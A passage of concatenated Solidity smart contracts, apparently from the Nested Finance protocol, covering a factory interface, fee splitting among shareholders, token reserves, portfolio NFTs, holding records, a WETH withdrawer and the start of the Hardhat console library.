/// @dev Emitted when a new operator is added
/// @param newOperator The new operator bytes name
event OperatorAdded(bytes32 newOperator);
/// @dev Emitted when an operator is removed
/// @param oldOperator The old operator bytes name
event OperatorRemoved(bytes32 oldOperator);
/// @dev Emitted when tokens are unlocked (sent to the owner)
/// @param token The unlocked token address
/// @param amount The unlocked amount
event TokensUnlocked(address token, uint256 amount);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent an order made to the factory when creating/editing an NFT
/// @param operator The bytes32 name of the Operator
/// @param token The expected token address in output/input
/// @param callData The operator parameters (delegatecall)
struct Order {
bytes32 operator;
address token;
bytes callData;
}
/// @dev Represent multiple input orders for a given token to perform multiple trades.
/// @param inputToken The input token
/// @param amount The amount to transfer (input amount)
/// @param orders The orders to perform using the input token.
/// @param _fromReserve Specify the input token source (true if reserve, false if wallet)
/// Note: fromReserve can be read as "from portfolio"
struct BatchedInputOrders {
IERC20 inputToken;
uint256 amount;
Order[] orders;
bool fromReserve;
}
/// @dev Represent multiple output orders to receive a given token
/// @param outputToken The output token
/// @param amounts The amount of sell tokens to use
/// @param orders Orders calldata
/// @param toReserve Specify the output token destination (true if reserve, false if wallet)
/// Note: toReserve can be read as "to portfolio"
struct BatchedOutputOrders {
IERC20 outputToken;
uint256[] amounts;
Order[] orders;
bool toReserve;
}
/* ------------------------------ OWNER FUNCTIONS ------------------------------ */
/// @notice Add an operator (name) for building cache
/// @param operator The operator name to add
function addOperator(bytes32 operator) external;
/// @notice Remove an operator (name) for building cache
/// @param operator The operator name to remove
function removeOperator(bytes32 operator) external;
/// @notice Sets the address receiving the fees
/// @param _feeSplitter The address of the receiver
function setFeeSplitter(FeeSplitter _feeSplitter) external;
/// @notice Sets the entry fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _entryFees Entry fees amount
function setEntryFees(uint256 _entryFees) external;
/// @notice Sets the exit fees amount
/// Where 1 = 0.01% and 10000 = 100%
/// @param _exitFees Exit fees amount
function setExitFees(uint256 _exitFees) external;
/// @notice The Factory is not storing funds, but some users can make
/// bad manipulations and send tokens to the contract.
/// In response to that, the owner can retrieve the factory balance of a given token
/// to later return users funds.
/// @param _token The token to retrieve.
function unlockTokens(IERC20 _token) external;
/* ------------------------------ USERS FUNCTIONS ------------------------------ */
/// @notice Create a portfolio and store the underlying assets from the positions
/// @param _originalTokenId The id of the NFT replicated, 0 if not replicating
/// @param _batchedOrders The order to execute
function create(uint256 _originalTokenId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple input orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processInputOrders(uint256 _nftId, BatchedInputOrders[] calldata _batchedOrders) external payable;
/// @notice Process multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedOrders The order to execute
function processOutputOrders(uint256 _nftId, BatchedOutputOrders[] calldata _batchedOrders) external;
/// @notice Process multiple input orders and then multiple output orders
/// @param _nftId The id of the NFT to update
/// @param _batchedInputOrders The input orders to execute (first)
/// @param _batchedOutputOrders The output orders to execute (after)
function processInputAndOutputOrders(
uint256 _nftId,
BatchedInputOrders[] calldata _batchedInputOrders,
BatchedOutputOrders[] calldata _batchedOutputOrders
) external payable;
/// @notice Burn NFT and exchange all tokens for a specific ERC20 then send it back to the user
/// @dev Will unwrap WETH output to ETH
/// @param _nftId The id of the NFT to destroy
/// @param _buyToken The output token
/// @param _orders Orders calldata
function destroy(
uint256 _nftId,
IERC20 _buyToken,
Order[] calldata _orders
) external;
/// @notice Withdraw a token from the reserve and transfer it to the owner without exchanging it
/// @param _nftId NFT token ID
/// @param _tokenIndex Index in array of tokens for this NFT and holding.
function withdraw(uint256 _nftId, uint256 _tokenIndex) external;
/// @notice Update the lock timestamp of an NFT record.
/// Note: Can only increase the lock timestamp.
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp.
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/external/IWETH.sol";
/// @title Manage the fees between shareholders
/// @notice Receives fees collected by the NestedFactory, and splits the income among
/// shareholders (the NFT owners, Nested treasury and a NST buybacker contract).
contract FeeSplitter is Ownable, ReentrancyGuard {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when a payment is released
/// @param to The address receiving the payment
/// @param token The token transfered
/// @param amount The amount paid
event PaymentReleased(address to, address token, uint256 amount);
/// @dev Emitted when a payment is received
/// @param from The address sending the tokens
/// @param token The token received
/// @param amount The amount received
event PaymentReceived(address from, address token, uint256 amount);
/// @dev Emitted when the royalties weight is updated
/// @param weight The new weight
event RoyaltiesWeightUpdated(uint256 weight);
/// @dev Emitted when a new shareholder is added
/// @param account The new shareholder account
/// @param weight The shareholder weight
event ShareholdersAdded(address account, uint256 weight);
/// @dev Emitted when a shareholder weight is updated
/// @param account The shareholder address
/// @param weight The new weight
event ShareholderUpdated(address account, uint256 weight);
/// @dev Emitted when royalties are claim released
/// @param to The address claiming the royalties
/// @param token The token received
/// @param value The amount received
event RoyaltiesReceived(address to, address token, uint256 value);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Represent a shareholder
/// @param account Shareholders address that can receive income
/// @param weight Determines share allocation
struct Shareholder {
address account;
uint96 weight;
}
/// @dev Registers shares and amount release for a specific token or ETH
struct TokenRecords {
uint256 totalShares;
uint256 totalReleased;
mapping(address => uint256) shares;
mapping(address => uint256) released;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev Map of tokens with the tokenRecords
mapping(address => TokenRecords) private tokenRecords;
/// @dev All the shareholders (array)
Shareholder[] private shareholders;
/// @dev Royalties part weights when applicable
uint256 public royaltiesWeight;
uint256 public totalWeights;
address public immutable weth;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(
address[] memory _accounts,
uint96[] memory _weights,
uint256 _royaltiesWeight,
address _weth
) {
require(_weth != address(0), "FS: INVALID_ADDRESS");
// Initial shareholders addresses and weights
setShareholders(_accounts, _weights);
setRoyaltiesWeight(_royaltiesWeight);
weth = _weth;
}
/// @dev Receive ether after a WETH withdraw call
receive() external payable {
require(msg.sender == weth, "FS: ETH_SENDER_NOT_WETH");
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the weight assigned to the royalties part for the fee
/// @param _weight The new royalties weight
function setRoyaltiesWeight(uint256 _weight) public onlyOwner {
require(_weight != 0, "FS: WEIGHT_ZERO");
totalWeights = totalWeights + _weight - royaltiesWeight;
royaltiesWeight = _weight;
emit RoyaltiesWeightUpdated(_weight);
}
/// @notice Sets a new list of shareholders
/// @param _accounts Shareholders accounts list
/// @param _weights Weight for each shareholder. Determines part of the payment allocated to them
function setShareholders(address[] memory _accounts, uint96[] memory _weights) public onlyOwner {
delete shareholders;
uint256 accountsLength = _accounts.length;
require(accountsLength != 0, "FS: EMPTY_ARRAY");
require(accountsLength == _weights.length, "FS: INPUTS_LENGTH_MUST_MATCH");
totalWeights = royaltiesWeight;
for (uint256 i = 0; i < accountsLength; i++) {
_addShareholder(_accounts[i], _weights[i]);
}
}
/// @notice Updates weight for a shareholder
/// @param _accountIndex Account to change the weight of
/// @param _weight The new weight
function updateShareholder(uint256 _accountIndex, uint96 _weight) external onlyOwner {
require(_weight != 0, "FS: INVALID_WEIGHT");
require(_accountIndex < shareholders.length, "FS: INVALID_ACCOUNT_INDEX");
Shareholder storage _shareholder = shareholders[_accountIndex];
totalWeights = totalWeights + _weight - _shareholder.weight;
require(totalWeights != 0, "FS: TOTAL_WEIGHTS_ZERO");
_shareholder.weight = _weight;
emit ShareholderUpdated(_shareholder.account, _weight);
}
/* -------------------------- USERS FUNCTIONS -------------------------- */
/// @notice Release multiple tokens and handle ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokens(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
if (address(_tokens[i]) == weth) {
IWETH(weth).withdraw(amount);
(bool success, ) = _msgSender().call{ value: amount }("");
require(success, "FS: ETH_TRANFER_ERROR");
} else {
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
}
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Release multiple tokens without ETH unwrapping
/// @param _tokens ERC20 tokens to release
function releaseTokensNoETH(IERC20[] calldata _tokens) external nonReentrant {
uint256 amount;
for (uint256 i = 0; i < _tokens.length; i++) {
amount = _releaseToken(_msgSender(), _tokens[i]);
SafeERC20.safeTransfer(_tokens[i], _msgSender(), amount);
emit PaymentReleased(_msgSender(), address(_tokens[i]), amount);
}
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token. No royalties are expected.
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFees(IERC20 _token, uint256 _amount) external nonReentrant {
uint256 weights;
unchecked {
weights = totalWeights - royaltiesWeight;
}
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
_sendFees(_token, _token.balanceOf(address(this)) - balanceBeforeTransfer, weights);
}
/// @notice Sends a fee to this contract for splitting, as an ERC20 token
/// @param _royaltiesTarget The account that can claim royalties
/// @param _token Currency for the fee as an ERC20 token
/// @param _amount Amount of token as fee to be claimed by this contract
function sendFeesWithRoyalties(
address _royaltiesTarget,
IERC20 _token,
uint256 _amount
) external nonReentrant {
require(_royaltiesTarget != address(0), "FS: INVALID_ROYALTIES_TARGET");
uint256 balanceBeforeTransfer = _token.balanceOf(address(this));
SafeERC20.safeTransferFrom(_token, _msgSender(), address(this), _amount);
uint256 amountReceived = _token.balanceOf(address(this)) - balanceBeforeTransfer;
uint256 _totalWeights = totalWeights;
uint256 royaltiesAmount = (amountReceived * royaltiesWeight) / _totalWeights;
_sendFees(_token, amountReceived, _totalWeights);
_addShares(_royaltiesTarget, royaltiesAmount, address(_token));
emit RoyaltiesReceived(_royaltiesTarget, address(_token), royaltiesAmount);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Returns the amount due to an account. Call releaseToken to withdraw the amount.
/// @param _account Account address to check the amount due for
/// @param _token ERC20 payment token address
/// @return The total amount due for the requested currency
function getAmountDue(address _account, IERC20 _token) public view returns (uint256) {
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
uint256 _totalShares = _tokenRecords.totalShares;
if (_totalShares == 0) return 0;
uint256 totalReceived = _tokenRecords.totalReleased + _token.balanceOf(address(this));
return (totalReceived * _tokenRecords.shares[_account]) / _totalShares - _tokenRecords.released[_account];
}
/// @notice Getter for the total shares held by shareholders.
/// @param _token Payment token address
/// @return The total shares count
function totalShares(address _token) external view returns (uint256) {
return tokenRecords[_token].totalShares;
}
/// @notice Getter for the total amount of token already released.
/// @param _token Payment token address
/// @return The total amount release to shareholders
function totalReleased(address _token) external view returns (uint256) {
return tokenRecords[_token].totalReleased;
}
/// @notice Getter for the amount of shares held by an account.
/// @param _account Account the shares belong to
/// @param _token Payment token address
/// @return The shares owned by the account
function shares(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].shares[_account];
}
/// @notice Getter for the amount of Ether already released to a shareholders.
/// @param _account The target account for this request
/// @param _token Payment token address
/// @return The amount already released to this account
function released(address _account, address _token) external view returns (uint256) {
return tokenRecords[_token].released[_account];
}
/// @notice Finds a shareholder and return its index
/// @param _account Account to find
/// @return The shareholder index in the storage array
function findShareholder(address _account) external view returns (uint256) {
for (uint256 i = 0; i < shareholders.length; i++) {
if (shareholders[i].account == _account) return i;
}
revert("FS: SHAREHOLDER_NOT_FOUND");
}
/* ------------------------- PRIVATE FUNCTIONS ------------------------- */
/// @notice Transfers a fee to this contract
/// @dev This method calculates the amount received, to support deflationary tokens
/// @param _token Currency for the fee
/// @param _amount Amount of token sent
/// @param _totalWeights Total weights to determine the share count to allocate
function _sendFees(
IERC20 _token,
uint256 _amount,
uint256 _totalWeights
) private {
Shareholder[] memory shareholdersCache = shareholders;
for (uint256 i = 0; i < shareholdersCache.length; i++) {
_addShares(
shareholdersCache[i].account,
(_amount * shareholdersCache[i].weight) / _totalWeights,
address(_token)
);
}
emit PaymentReceived(_msgSender(), address(_token), _amount);
}
/// @dev Increase the shares of a shareholder
/// @param _account The shareholder address
/// @param _shares The shares of the holder
/// @param _token The updated token
function _addShares(
address _account,
uint256 _shares,
address _token
) private {
TokenRecords storage _tokenRecords = tokenRecords[_token];
_tokenRecords.shares[_account] += _shares;
_tokenRecords.totalShares += _shares;
}
function _releaseToken(address _account, IERC20 _token) private returns (uint256) {
uint256 amountToRelease = getAmountDue(_account, _token);
require(amountToRelease != 0, "FS: NO_PAYMENT_DUE");
TokenRecords storage _tokenRecords = tokenRecords[address(_token)];
_tokenRecords.released[_account] += amountToRelease;
_tokenRecords.totalReleased += amountToRelease;
return amountToRelease;
}
function _addShareholder(address _account, uint96 _weight) private {
require(_weight != 0, "FS: ZERO_WEIGHT");
require(_account != address(0), "FS: INVALID_ADDRESS");
for (uint256 i = 0; i < shareholders.length; i++) {
require(shareholders[i].account != _account, "FS: ALREADY_SHAREHOLDER");
}
shareholders.push(Shareholder(_account, _weight));
totalWeights += _weight;
emit ShareholdersAdded(_account, _weight);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Stores underlying assets of NestedNFTs.
/// @notice The factory itself can only trigger a transfer after verification that the user
/// holds funds present in this contract. Only the factory can withdraw/transfer assets.
contract NestedReserve is OwnableFactoryHandler {
/// @notice Release funds to a recipient
/// @param _recipient The receiver
/// @param _token The token to transfer
/// @param _amount The amount to transfer
function transfer(
address _recipient,
IERC20 _token,
uint256 _amount
) external onlyFactory {
require(_recipient != address(0), "NRS: INVALID_ADDRESS");
SafeERC20.safeTransfer(_token, _recipient, _amount);
}
/// @notice Release funds to the factory
/// @param _token The ERC20 to transfer
/// @param _amount The amount to transfer
function withdraw(IERC20 _token, uint256 _amount) external onlyFactory {
SafeERC20.safeTransfer(_token, msg.sender, _amount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Collection of NestedNFTs used to represent ownership of real assets stored in NestedReserves
/// @dev Only NestedFactory contracts are allowed to call functions that write to storage
contract NestedAsset is ERC721Enumerable, OwnableFactoryHandler {
using Counters for Counters.Counter;
/* ----------------------------- VARIABLES ----------------------------- */
Counters.Counter private _tokenIds;
/// @dev Base URI (API)
string public baseUri;
/// @dev Token URI when not revealed
string public unrevealedTokenUri;
/// @dev NFT contract URI
string public contractUri;
/// @dev Stores the original asset of each asset
mapping(uint256 => uint256) public originalAsset;
/// @dev Stores owners of burnt assets
mapping(uint256 => address) public lastOwnerBeforeBurn;
/// @dev True if revealed, false if not.
bool public isRevealed;
/* ---------------------------- CONSTRUCTORS --------------------------- */
constructor() ERC721("NestedNFT", "NESTED") {}
/* ----------------------------- MODIFIERS ----------------------------- */
/// @dev Reverts the transaction if the address is not the token owner
modifier onlyTokenOwner(address _address, uint256 _tokenId) {
require(_address == ownerOf(_tokenId), "NA: FORBIDDEN_NOT_OWNER");
_;
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get the Uniform Resource Identifier (URI) for `tokenId` token.
/// @param _tokenId The id of the NestedAsset
/// @return The token Uniform Resource Identifier (URI)
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
require(_exists(_tokenId), "URI query for nonexistent token");
if (isRevealed) {
return super.tokenURI(_tokenId);
} else {
return unrevealedTokenUri;
}
}
/// @inheritdoc ERC721
function _baseURI() internal view override returns (string memory) {
return baseUri;
}
/// @notice Returns the owner of the original token if the token was replicated
/// If the original asset was burnt, the last owner before burn is returned
/// @param _tokenId The asset for which we want to know the original owner
/// @return The owner of the original asset
function originalOwner(uint256 _tokenId) external view returns (address) {
uint256 originalAssetId = originalAsset[_tokenId];
if (originalAssetId != 0) {
return _exists(originalAssetId) ? ownerOf(originalAssetId) : lastOwnerBeforeBurn[originalAssetId];
}
return address(0);
}
/* ---------------------------- ONLY FACTORY --------------------------- */
/// @notice Mints an ERC721 token for the user and stores the original asset used to create the new asset if any
/// @param _owner The account address that signed the transaction
/// @param _replicatedTokenId The token id of the replicated asset, 0 if no replication
/// @return The minted token's id
function mint(address _owner, uint256 _replicatedTokenId) public onlyFactory returns (uint256) {
_tokenIds.increment();
uint256 tokenId = _tokenIds.current();
_safeMint(_owner, tokenId);
// Stores the first asset of the replication chain as the original
if (_replicatedTokenId == 0) {
return tokenId;
}
require(_exists(_replicatedTokenId), "NA: NON_EXISTENT_TOKEN_ID");
require(tokenId != _replicatedTokenId, "NA: SELF_DUPLICATION");
uint256 originalTokenId = originalAsset[_replicatedTokenId];
originalAsset[tokenId] = originalTokenId != 0 ? originalTokenId : _replicatedTokenId;
return tokenId;
}
/// @notice Burns an ERC721 token
/// @param _owner The account address that signed the transaction
/// @param _tokenId The id of the NestedAsset
function burn(address _owner, uint256 _tokenId) external onlyFactory onlyTokenOwner(_owner, _tokenId) {
lastOwnerBeforeBurn[_tokenId] = _owner;
_burn(_tokenId);
}
/* ----------------------------- ONLY OWNER ---------------------------- */
/// @notice Update isRevealed to reveal or hide the token URI
function setIsRevealed(bool _isRevealed) external onlyOwner {
isRevealed = _isRevealed;
}
/// @notice Set the base URI (once revealed)
/// @param _baseUri The new baseURI
function setBaseURI(string memory _baseUri) external onlyOwner {
require(bytes(_baseUri).length != 0, "NA: EMPTY_URI");
baseUri = _baseUri;
}
/// @notice Set the unrevealed token URI (fixed)
/// @param _newUri The new unrevealed URI
function setUnrevealedTokenURI(string memory _newUri) external onlyOwner {
require(bytes(_newUri).length != 0, "NA: EMPTY_URI");
unrevealedTokenUri = _newUri;
}
/// @notice Set the contract URI
/// @param _newUri The new contract URI
function setContractURI(string memory _newUri) external onlyOwner {
contractUri = _newUri;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./abstracts/OwnableFactoryHandler.sol";
/// @title Tracks data for underlying assets of NestedNFTs
contract NestedRecords is OwnableFactoryHandler {
/* ------------------------------ EVENTS ------------------------------ */
/// @dev Emitted when maxHoldingsCount is updated
/// @param maxHoldingsCount The new value
event MaxHoldingsChanges(uint256 maxHoldingsCount);
/// @dev Emitted when the lock timestamp of an NFT is increased
/// @param nftId The NFT ID
/// @param timestamp The new lock timestamp of the portfolio
event LockTimestampIncreased(uint256 nftId, uint256 timestamp);
/// @dev Emitted when the reserve is updated for a specific portfolio
/// @param nftId The NFT ID
/// @param newReserve The new reserve address
event ReserveUpdated(uint256 nftId, address newReserve);
/* ------------------------------ STRUCTS ------------------------------ */
/// @dev Store user asset informations
struct NftRecord {
mapping(address => uint256) holdings;
address[] tokens;
address reserve;
uint256 lockTimestamp;
}
/* ----------------------------- VARIABLES ----------------------------- */
/// @dev stores for each NFT ID an asset record
mapping(uint256 => NftRecord) public records;
/// @dev The maximum number of holdings for an NFT record
uint256 public maxHoldingsCount;
/* ---------------------------- CONSTRUCTOR ---------------------------- */
constructor(uint256 _maxHoldingsCount) {
maxHoldingsCount = _maxHoldingsCount;
}
/* -------------------------- OWNER FUNCTIONS -------------------------- */
/// @notice Sets the maximum number of holdings for an NFT record
/// @param _maxHoldingsCount The new maximum number of holdings
function setMaxHoldingsCount(uint256 _maxHoldingsCount) external onlyOwner {
require(_maxHoldingsCount != 0, "NRC: INVALID_MAX_HOLDINGS");
maxHoldingsCount = _maxHoldingsCount;
emit MaxHoldingsChanges(maxHoldingsCount);
}
/* ------------------------- FACTORY FUNCTIONS ------------------------- */
/// @notice Update the amount for a specific holding and delete
/// the holding if the amount is zero.
/// @param _nftId The id of the NFT
/// @param _token The token/holding address
/// @param _amount Updated amount for this asset
function updateHoldingAmount(
uint256 _nftId,
address _token,
uint256 _amount
) public onlyFactory {
if (_amount == 0) {
uint256 tokenIndex = 0;
address[] memory tokens = getAssetTokens(_nftId);
while (tokenIndex < tokens.length) {
if (tokens[tokenIndex] == _token) {
deleteAsset(_nftId, tokenIndex);
break;
}
tokenIndex++;
}
} else {
records[_nftId].holdings[_token] = _amount;
}
}
/// @notice Fully delete a holding record for an NFT
/// @param _nftId The id of the NFT
/// @param _tokenIndex The token index in holdings array
function deleteAsset(uint256 _nftId, uint256 _tokenIndex) public onlyFactory {
address[] storage tokens = records[_nftId].tokens;
address token = tokens[_tokenIndex];
require(records[_nftId].holdings[token] != 0, "NRC: HOLDING_INACTIVE");
delete records[_nftId].holdings[token];
tokens[_tokenIndex] = tokens[tokens.length - 1];
tokens.pop();
}
/// @notice Delete a holding item in holding mapping. Does not remove token in NftRecord.tokens array
/// @param _nftId NFT's identifier
/// @param _token Token address for holding to remove
function freeHolding(uint256 _nftId, address _token) public onlyFactory {
delete records[_nftId].holdings[_token];
}
/// @notice Helper function that creates a record or add the holding if record already exists
/// @param _nftId The NFT's identifier
/// @param _token The token/holding address
/// @param _amount Amount to add for this asset
/// @param _reserve Reserve address
function store(
uint256 _nftId,
address _token,
uint256 _amount,
address _reserve
) external onlyFactory {
NftRecord storage _nftRecord = records[_nftId];
uint256 amount = records[_nftId].holdings[_token];
require(_amount != 0, "NRC: INVALID_AMOUNT");
if (amount != 0) {
require(_nftRecord.reserve == _reserve, "NRC: RESERVE_MISMATCH");
updateHoldingAmount(_nftId, _token, amount + _amount);
return;
}
require(_nftRecord.tokens.length < maxHoldingsCount, "NRC: TOO_MANY_TOKENS");
require(
_reserve != address(0) && (_reserve == _nftRecord.reserve || _nftRecord.reserve == address(0)),
"NRC: INVALID_RESERVE"
);
_nftRecord.holdings[_token] = _amount;
_nftRecord.tokens.push(_token);
_nftRecord.reserve = _reserve;
}
/// @notice The factory can update the lock timestamp of a NFT record
/// The new timestamp must be greater than the records lockTimestamp
// if block.timestamp > actual lock timestamp
/// @param _nftId The NFT id to get the record
/// @param _timestamp The new timestamp
function updateLockTimestamp(uint256 _nftId, uint256 _timestamp) external onlyFactory {
require(_timestamp > records[_nftId].lockTimestamp, "NRC: LOCK_PERIOD_CANT_DECREASE");
records[_nftId].lockTimestamp = _timestamp;
emit LockTimestampIncreased(_nftId, _timestamp);
}
/// @notice Delete from mapping assetTokens
/// @param _nftId The id of the NFT
function removeNFT(uint256 _nftId) external onlyFactory {
delete records[_nftId];
}
/// @notice Set the reserve where assets are stored
/// @param _nftId The NFT ID to update
/// @param _nextReserve Address for the new reserve
function setReserve(uint256 _nftId, address _nextReserve) external onlyFactory {
records[_nftId].reserve = _nextReserve;
emit ReserveUpdated(_nftId, _nextReserve);
}
/* ------------------------------- VIEWS ------------------------------- */
/// @notice Get content of assetTokens mapping
/// @param _nftId The id of the NFT
/// @return Array of token addresses
function getAssetTokens(uint256 _nftId) public view returns (address[] memory) {
return records[_nftId].tokens;
}
/// @notice Get reserve the assets are stored in
/// @param _nftId The NFT ID
/// @return The reserve address these assets are stored in
function getAssetReserve(uint256 _nftId) external view returns (address) {
return records[_nftId].reserve;
}
/// @notice Get how many tokens are in a portfolio/NFT
/// @param _nftId NFT ID to examine
/// @return The array length
function getAssetTokensLength(uint256 _nftId) external view returns (uint256) {
return records[_nftId].tokens.length;
}
/// @notice Get holding amount for a given nft id
/// @param _nftId The id of the NFT
/// @param _token The address of the token
/// @return The holding amount
function getAssetHolding(uint256 _nftId, address _token) public view returns (uint256) {
return records[_nftId].holdings[_token];
}
/// @notice Returns the holdings associated to a NestedAsset
/// @param _nftId the id of the NestedAsset
/// @return Two arrays with the same length :
/// - The token addresses in the portfolio
/// - The respective amounts
function tokenHoldings(uint256 _nftId) external view returns (address[] memory, uint256[] memory) {
address[] memory tokens = getAssetTokens(_nftId);
uint256 tokensCount = tokens.length;
uint256[] memory amounts = new uint256[](tokensCount);
for (uint256 i = 0; i < tokensCount; i++) {
amounts[i] = getAssetHolding(_nftId, tokens[i]);
}
return (tokens, amounts);
}
/// @notice Get the lock timestamp of a portfolio/NFT
/// @param _nftId The NFT ID
/// @return The lock timestamp from the NftRecord
function getLockTimestamp(uint256 _nftId) external view returns (uint256) {
return records[_nftId].lockTimestamp;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.11;
import "./interfaces/external/IWETH.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
/// @title Native token withdrawer
/// @dev Withdraw native token from the wrapper contract on behalf
/// of the sender. Upgradeable proxy contracts are not able to receive
/// native tokens from contracts via `transfer` (EIP1884), they need a
/// middleman forwarding all available gas and reverting on errors.
contract Withdrawer is ReentrancyGuard {
IWETH public immutable weth;
constructor(IWETH _weth) {
weth = _weth;
}
receive() external payable {
require(msg.sender == address(weth), "WD: ETH_SENDER_NOT_WETH");
}
/// @notice Withdraw native token from wrapper contract
/// @param amount The amount to withdraw
function withdraw(uint256 amount) external nonReentrant {
weth.transferFrom(msg.sender, address(this), amount);
weth.withdraw(amount);
Address.sendValue(payable(msg.sender), amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
